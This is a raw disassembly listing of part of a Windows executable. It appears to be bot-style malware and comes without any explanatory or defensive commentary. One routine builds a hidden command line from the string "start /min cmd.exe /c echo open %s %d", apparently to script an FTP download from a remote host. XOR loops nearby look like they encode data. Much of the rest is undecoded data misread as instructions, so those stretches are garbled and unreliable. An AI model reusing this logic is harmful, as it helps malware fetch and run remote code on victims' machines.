test al, al
jnz short loc_4361D4
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_43620F
loc_4361D4: ; CODE XREF: ___:004361A2j
; ___:004361B2j ...
mov esi, [esp+28h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_436206
loc_4361F9: ; CODE XREF: ___:00436204j
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4361F9
loc_436206: ; CODE XREF: ___:004361F7j
mov edx, [esp+18h]
mov [edx+13h], cl
jmp short loc_436194
; ---------------------------------------------------------------------------
loc_43620F: ; CODE XREF: ___:004361D2j
mov eax, [esp+28h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+1Ch]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+1Ch]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_50FAC4
call esi
push ebp
call esi
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_436300: ; CODE XREF: ___:00401FE1j
mov eax, 200Ch
call sub_436840
mov eax, [esp+2028h]
mov ecx, [esp+202Ch]
push ebx
mov edx, [esp+2028h]
push ebp
push esi
push edi
push eax
push eax
mov eax, [esp+2048h]
push eax
mov eax, [esp+203Ch]
push ecx
push edx
push eax
lea ecx, [esp+34h]
push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "...
push ecx
mov dword ptr [esp+34h], 98h
nop
call near ptr byte_5EA1BD
lea edi, [esp+3Ch]
or ecx, 0FFFFFFFFh
xor eax, eax
mov edx, [esp+2044h]
repne scasb
not ecx
dec ecx
lea ebx, [ecx+edx+1]
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+2044h]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
nop
call near ptr 77C2C407h
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov ecx, 6
mov esi, (offset loc_446BC7+1)
mov edi, edx
add esp, 28h
rep movsd
lea edi, [esp+1Ch]
or ecx, 0FFFFFFFFh
repne scasb
mov [esp+10h], edx
mov edx, [esp+2024h]
not ecx
mov eax, ecx
lea esi, [esp+1Ch]
lea edi, [edx+ebp-2]
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [esp+2044h]
and ecx, 3
test eax, eax
rep movsb
jz short loc_436402
push ebx
push ebp
call eax
add esp, 8
loc_436402: ; CODE XREF: ___:004363F9j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+1Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_436444: ; CODE XREF: ___:004364BDj
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_436484
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_436484
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_436484
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4364BF
loc_436484: ; CODE XREF: ___:00436452j
; ___:00436462j ...
mov esi, [esp+18h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+14h]
inc ecx
test ebx, ebx
mov [esp+14h], ecx
jle short loc_4364B6
loc_4364A9: ; CODE XREF: ___:004364B4j
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4364A9
loc_4364B6: ; CODE XREF: ___:004364A7j
mov edx, [esp+10h]
mov [edx+13h], cl
jmp short loc_436444
; ---------------------------------------------------------------------------
loc_4364BF: ; CODE XREF: ___:00436482j
mov eax, [esp+18h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+2030h]
mov edx, [esp+202Ch]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+14h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+14h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_50FAC4
call esi
push ebp
call esi
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
add esp, 200Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4365C0: ; CODE XREF: ___:00401910j
push ecx
push ebx
mov ebx, [esp+10h]
push ebp
push esi
push edi
push ebx
mov dword ptr [esp+14h], 98h
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
nop
call near ptr 77C2C407h
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+30h]
add esp, 8
mov ecx, 6
mov esi, (offset loc_446BC7+1)
mov edi, edx
mov [esp+1Ch], edx
test eax, eax
rep movsd
jz short loc_43663D
push ebx
push ebp
call eax
add esp, 8
loc_43663D: ; CODE XREF: ___:00436634j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+1Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+1Ch]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_43667F: ; CODE XREF: ___:004366F8j
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4366BF
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4366BF
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4366BF
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4366FA
loc_4366BF: ; CODE XREF: ___:0043668Dj
; ___:0043669Dj ...
mov esi, [esp+18h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_4366F1
loc_4366E4: ; CODE XREF: ___:004366EFj
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4366E4
loc_4366F1: ; CODE XREF: ___:004366E2j
mov edx, [esp+1Ch]
mov [edx+13h], cl
jmp short loc_43667F
; ---------------------------------------------------------------------------
loc_4366FA: ; CODE XREF: ___:004366BDj
mov eax, [esp+18h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+20h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+20h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_50FAC4
call esi
push ebp
call esi
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 68h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4367C8 proc near ; CODE XREF: SEH_4034E0+5j
; SEH_4036D0+5j ...
jmp near ptr 77C227FAh
sub_4367C8 endp
; ---------------------------------------------------------------------------
db 71h, 2 dup(0CCh)
byte_4367D0 db 90h ; DATA XREF: ___:off_43E004o
; ___:0043E018o ...
db 0E9h, 37h, 0F7h
dd 0E990777Fh, 777E573Ch, 7F2BE6E9h
; ---------------------------------------------------------------------------
ja short loc_436807
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4367E2 proc near ; CODE XREF: ___:00406BE0p
; sub_406C00+11p ...
nop
jmp near ptr 77C29CDDh
sub_4367E2 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0A2h, 12h
dd 0E9907781h, 7781146Ch, 8114ECE9h
db 77h, 9Ah
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4367FA proc near ; CODE XREF: sub_406C30+47p
; ___:00406CCAp ...
nop
jmp near ptr 77C29CC5h
sub_4367FA endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0E1h, 0ACh
db 7Eh, 77h, 8Bh
; ---------------------------------------------------------------------------
loc_436807: ; CODE XREF: ___:004367E0j
rol edi, 0
aam 0E1h
inc ebx
add dl, al
add al, 0
loc_436811: ; DATA XREF: ___:off_43E1D4o
push esi
mov esi, ecx
call sub_436BCC
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_436827
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
loc_436827: ; CODE XREF: ___:0043681Ej
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
mov eax, ecx
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436832 proc near ; CODE XREF: sub_409580+4Dp
; ___:0040A99Dp
nop
jmp near ptr 77C226F6h
sub_436832 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 4Ch, 97h
; ---------------------------------------------------------------------------
xor byte ptr [edi-34h], 0CCh
; =============== S U B R O U T I N E =======================================
sub_436840 proc near ; CODE XREF: sub_40A030+5p
; sub_40FF60+1Ap ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_436860
loc_43684C: ; CODE XREF: sub_436840+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_43684C
loc_436860: ; CODE XREF: sub_436840+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_436840 endp
; ---------------------------------------------------------------------------
align 10h
dd 810DEBE9h, 0E9908D77h, 777E6714h, 91F4E990h, 0E9907780h
dd 778111C8h, 8035F1E9h, 8DE9E177h, 0CF778110h, 5B6DE990h
dd 3D83777Fh, 50E9D4h, 0FF0C75FFh, 90042474h, 7FE54BE8h
dd 68C35977h, 50E9C4h, 50E9D468h, 2474FF00h, 310E80Ch
dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h
dd 0C348D8F7h, 593DE990h, 0E990777Fh, 778008D8h, 8E9E990h
db 80h, 77h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4368EA proc near ; CODE XREF: sub_4198C0+28p
jmp near ptr 77C4FA10h
sub_4368EA endp
; ---------------------------------------------------------------------------
db 79h
; =============== S U B R O U T I N E =======================================
sub_4368F0 proc near ; CODE XREF: sub_41B820+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_436911
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_436961
; ---------------------------------------------------------------------------
loc_436911: ; CODE XREF: sub_4368F0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_43691F: ; CODE XREF: sub_4368F0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_43691F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_43694A
cmp edx, [esp+4+arg_4]
ja short loc_43694A
jb short loc_436952
cmp eax, [esp+4+arg_0]
jbe short loc_436952
loc_43694A: ; CODE XREF: sub_4368F0+4Aj
; sub_4368F0+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_436952: ; CODE XREF: sub_4368F0+52j
; sub_4368F0+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_436961: ; CODE XREF: sub_4368F0+1Fj
pop ebx
retn 10h
sub_4368F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_436970 proc near ; CODE XREF: sub_41B820+30p
; sub_41B820+3Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_436992
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_4369D3
; ---------------------------------------------------------------------------
loc_436992: ; CODE XREF: sub_436970+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_4369A0: ; CODE XREF: sub_436970+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_4369A0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_4369CE
cmp edx, [esp+8+arg_4]
ja short loc_4369CE
jb short loc_4369CF
cmp eax, [esp+8+arg_0]
jbe short loc_4369CF
loc_4369CE: ; CODE XREF: sub_436970+4Ej
; sub_436970+54j
dec esi
loc_4369CF: ; CODE XREF: sub_436970+56j
; sub_436970+5Cj
xor edx, edx
mov eax, esi
loc_4369D3: ; CODE XREF: sub_436970+20j
pop esi
pop ebx
retn 10h
sub_436970 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0D3h, 0A0h
dd 2DE97780h, 4B778086h, 811478E9h, 0E990C277h, 7780A486h
dd 0A805E990h, 0E9907780h, 7780AB78h, 0A99AE990h, 0E9907780h
dd 7780AD33h, 11D2E990h, 0E9907781h, 7780B15Eh, 84DCE990h
dd 0F4E97780h, 0AE7780A3h, 7F569EE9h, 0E9906277h, 777E5B35h
dd 3C0E990h, 0E9907780h, 778007C2h, 887EE990h, 0E990777Eh
dd 77808EEDh, 0AE20E990h, 0E9907780h, 7780398Bh, 38B1E990h
dd 0E9907780h, 778126B7h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_436A5C proc near ; CODE XREF: ___:0043168Cp
jmp near ptr 77C3619Ch
sub_436A5C endp
; ---------------------------------------------------------------------------
db 0C7h, 90h, 0E9h
dd 7780030Ch, 80A144E9h, 0A06CEB77h, 2DABB33Ch, 5626025Ch
dd 4C13B1E7h, 0A164D2h, 50000000h, 258964h, 83000000h
dd 565368ECh, 0E8658957h, 5D89DB33h, 90026AFCh, 7FE8DBE8h
dd 0D835977h, 50E9C4h, 0D40D83FFh, 0FF0050E9h, 8725E890h
dd 0D8B777Eh, 50E8D8h, 0E1E80889h, 90777E86h, 0E8D40D8Bh
dd 8890050h, 50FA1CA1h, 0A3008B00h, 50E9B8h, 12EE8h, 0F01D3900h
dd 7500446Ch, 6C08680Ch, 0E8900043h, 77816B85h, 0FAE859h
dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8D0A100h, 45890050h
dd 94458D94h, 0CC35FF50h, 8D0050E8h, 8D509C45h, 8D509045h
dd 9050A045h, 7E83C2E8h, 32086877h, 680044h, 0E8004430h
dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h
dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 9BE850A4h
dd 90022B95h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0BAE85353h, 900242B1h
dd 0B322E850h, 4589FFFCh, 0D3E85098h, 90778032h, 8BEC458Bh
dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh
dd 0E8908875h, 778032CEh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_436BCC proc near ; CODE XREF: ___:00436814p
jmp near ptr 77C21868h
sub_436BCC endp
; ---------------------------------------------------------------------------
db 0CFh, 0E9h, 7Ah
dword_436BD4 dd 0A9777FE2h, 32BCE990h, 0E9907780h, 777FC1CAh, 8301E990h
dd 78E9777Eh, 67778031h, 3000068h, 6800h, 25E80001h, 59000000h
dd 0E990C359h, 77816A6Dh, 0C3C3C033h, 8592E990h, 0E990777Eh
dd 777E85C3h, 7FE75FE9h, 71E93977h, 32777FF0h, 8205E990h
dd 3CE97781h, 2D75C697h, 9819E990h, 0E99075C6h, 75C5B3F2h
dd 8843E990h, 0E99075C5h, 75C697E8h, 0C4B31AE9h, 0F9E98075h
dd 6775C54Bh, 0A55E990h, 85E975C6h, 5A75C4EEh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436C60 proc near ; CODE XREF: sub_4192C0+17Ep
nop
jmp near ptr 76D6AC1Dh
sub_436C60 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 2399CB2h, 9D2BE990h, 0E9900239h, 23A9388h, 98B5E990h
dd 7DE9023Ah, 9C023B93h, 0A54FE990h, 71E9023Bh, 88023C93h
dd 936AE990h, 0E990023Dh, 23DA9DFh, 0ABC7E990h, 0E990023Dh
dd 23DAFB2h, 9352E990h, 0E990023Eh, 23E9490h, 9B20E990h
dd 0E990023Eh, 23E9F2Dh, 3F933BE9h, 35E9B802h, 88024093h
dd 40969BE9h, 0E9907602h, 240984Dh, 9322E990h, 0E9900241h
dd 242931Ch, 0A4A7E990h, 0E9900242h, 242B065h, 930AE990h
dd 0E9900243h, 243995Ch, 9DFCE990h, 0F9E90243h, 1B024492h
dd 92F2E990h, 0DAE90239h, 0ED02389Ah, 92E6E990h, 0E9900238h
dd 23792E0h, 9A73E990h, 0E9900236h, 23692D4h, 92CEE990h
dd 0E9900235h, 2349AB1h, 9723E990h, 0E9900234h, 23492BCh
dd 99ADE990h, 0B1E90233h, 0BD022B92h, 92AAE990h, 3E90233h
dd 0AE02329Dh, 9CD8E990h, 86E90232h, 257C4CA3h, 0A297E990h
dd 0E9907C4Ch, 2329AE9h, 99F2E990h, 0E9900232h, 2329280h
dd 9E70E990h, 0BDE90231h, 8802319Dh, 9BE3E990h, 0E9900231h
dd 2319AD3h, 98B2E990h, 9EE90231h, 0CF023196h, 93EDE990h
dd 0E9900231h, 2319250h, 30A011E9h, 1EE95802h, 0C002309Dh
dd 309CA4E9h, 0E990D402h, 2309675h, 9639E990h, 0E9900230h
dd 230922Ch, 9CA0E990h, 0CFE9022Fh, 71022F98h, 95BEE990h
dd 0E990022Fh, 22F9214h, 9DA4E990h, 81E9022Eh, 2F022E9Dh
dd 971BE990h, 8EE9022Eh, 16022E95h, 91F6E990h, 5EE9022Eh
dd 1B022D9Ah, 2D91EBE9h, 0B9E99702h, 4E022C9Dh, 9C47E990h
dd 0E990022Ch, 22C9971h, 2C9823E9h, 0CDE9E802h, 46022C91h
dd 92D8E990h, 7EE9022Bh, 92001B33h, 958DE990h, 0DBE90244h
dd 79024EA1h, 91AEE990h, 0E990024Ah, 24E91A8h, 4D91A3E9h
dd 5DE9D402h, 2024C9Fh, 9196E990h, 0E990024Ch, 24B945Dh
dd 918AE990h, 0E990024Bh, 24A9E29h, 9B72E990h, 0E990024Ah
dd 24A99A1h, 4A971CE9h, 0FEE95802h, 0C7024498h, 9E02E990h
dd 0E9900249h, 249992Ch, 94FFE990h, 55E90249h, 28024991h
dd 48914FE9h, 0E9905802h, 2479148h, 0ADB4E990h, 0DBE90246h
dd 790246A9h, 0A7B2E990h, 0E9900246h, 246A5BCh, 912AE990h
dd 0E9900246h, 2459124h, 0A22EE990h, 0E9907C60h, 7167D059h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436EE8 proc near ; CODE XREF: ___:0042C8F1p
nop
jmp near ptr 71AB4FD4h
sub_436EE8 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 71687585h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_436EF4 proc near ; CODE XREF: sub_42C8E1+1p
jmp near ptr 71AB2BF4h
sub_436EF4 endp
; ---------------------------------------------------------------------------
pop ebp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436EFA proc near ; CODE XREF: sub_42CC50+E5p
; sub_42DC70+4Fp
nop
jmp near ptr 71AB615Ah
sub_436EFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_436F00 proc near ; CODE XREF: sub_42D1A0+9Ap
; sub_42DD50+45p ...
jmp near ptr 71AB428Ah
sub_436F00 endp
; ---------------------------------------------------------------------------
db 0CAh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F06 proc near ; CODE XREF: sub_42DFD0+53p
; sub_42DFD0+96p ...
nop
jmp near ptr 71AB9639h
sub_436F06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_436F0C proc near
jmp near ptr 71AC1028h
sub_436F0C endp
; ---------------------------------------------------------------------------
dec esi
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_436F12 proc near ; CODE XREF: sub_42CE80+71p
; sub_42DA60+50p
jmp near ptr 71AB2DC0h
sub_436F12 endp
; ---------------------------------------------------------------------------
db 11h
db 90h
db 0E9h, 0A2h, 0BCh
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F1E proc near
nop
jmp near ptr 71AB88D3h
sub_436F1E endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 3Ch, 0BCh
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F2A proc near ; CODE XREF: sub_42D580+187p
nop
jmp near ptr 71AB951Eh
sub_436F2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F30 proc near
nop
jmp near ptr 71AB3E00h
sub_436F30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F36 proc near ; CODE XREF: sub_42C810+B1p
nop
jmp near ptr 71AB2B66h
sub_436F36 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F3C proc near ; CODE XREF: ___:0042C93Fp
; sub_42D580+152p
nop
jmp near ptr 71AB3B91h
sub_436F3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_436F42 proc near
jmp near ptr 71AB406Ah
sub_436F42 endp
; ---------------------------------------------------------------------------
db 0CFh
dd 67D4DBE9h
db 71h, 0EBh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F4E proc near ; CODE XREF: sub_42C790+10p
nop
jmp near ptr 71AB664Dh
sub_436F4E endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 6Eh, 0E1h
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F5A proc near ; CODE XREF: sub_4338B0+Bp
nop
jmp near ptr 71AB94DCh
sub_436F5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F60 proc near ; CODE XREF: sub_41A6D0+92p
; sub_41A8C0+CAp ...
nop
jmp near ptr 71AB4544h
sub_436F60 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 71689BE4h, 0D5A7E990h, 0E9907167h, 7167BC48h, 0BD91E990h
dd 0E6E97167h, 9F7167BCh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F84 proc near
nop
jmp near ptr 71AB3EA1h
sub_436F84 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 716817D9h, 0D4F3E990h
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F96 proc near ; CODE XREF: sub_42C810+53p
; sub_42C810+C3p
nop
jmp near ptr 71ABE6EBh
sub_436F96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_436F9C proc near ; CODE XREF: sub_42DFD0+4Ap
jmp near ptr 71AC0BDEh
sub_436F9C endp
; ---------------------------------------------------------------------------
db 0F0h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436FA2 proc near
nop
jmp near ptr 71AB2A5Eh
sub_436FA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436FA8 proc near ; CODE XREF: ___:0041C1B7p
; ___:0041C1CCp
nop
jmp near ptr 71B2578Ch
sub_436FA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436FAE proc near ; CODE XREF: ___:0041C30Dp
; ___:0041C32Fp
nop
jmp near ptr 71B25099h
sub_436FAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436FB4 proc near ; CODE XREF: sub_41FF90+B4p
nop
jmp near ptr 76BF215Ah
sub_436FB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436FBA proc near ; CODE XREF: sub_41FF90+9Bp
nop
jmp near ptr 76BF1F1Ch
sub_436FBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436FC0 proc near ; CODE XREF: sub_41FF90+21p
nop
jmp near ptr 76BF3A9Ah
sub_436FC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436FC6 proc near ; CODE XREF: ___:0041B1B4p
nop
jmp near ptr 76F36C5Bh
sub_436FC6 endp
; ---------------------------------------------------------------------------
dword_436FCC dd 80F27DE9h, 4EE95577h, 4E7780F1h, 80F193E9h, 0E9901377h
dd 7780F33Ch, 2C7h dup(0CCCCCCCCh), 0FB988D8Dh, 1BE9FFFFh
dd 8DFFFC97h, 0FFFBC88Dh, 9710E9FFh, 8D8DFFFCh, 0FFFFFBB0h
dd 0FC9705E9h, 0E08D8DFFh, 0E9FFFFFBh, 0FFFC96FAh, 0FB94858Bh
dd 0E083FFFFh, 0FC08501h, 884h, 44D8B00h, 0FC96E1E9h
; ---------------------------------------------------------------------------
inc ebx
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4034E0 proc near ; DATA XREF: sub_4034E0+2o
mov eax, offset dword_43E470
jmp sub_4367C8
SEH_4034E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9
jmp sub_401AD2
; ---------------------------------------------------------------------------
loc_437B7B: ; DATA XREF: ___:0043E4ECo
mov ecx, [ebp-10h]
add ecx, 52h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9Bh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E4h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 12Dh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 176h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1BFh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 208h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 251h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 29Ah
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2E3h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 32Ch
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 375h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3BEh
jmp sub_401AD2
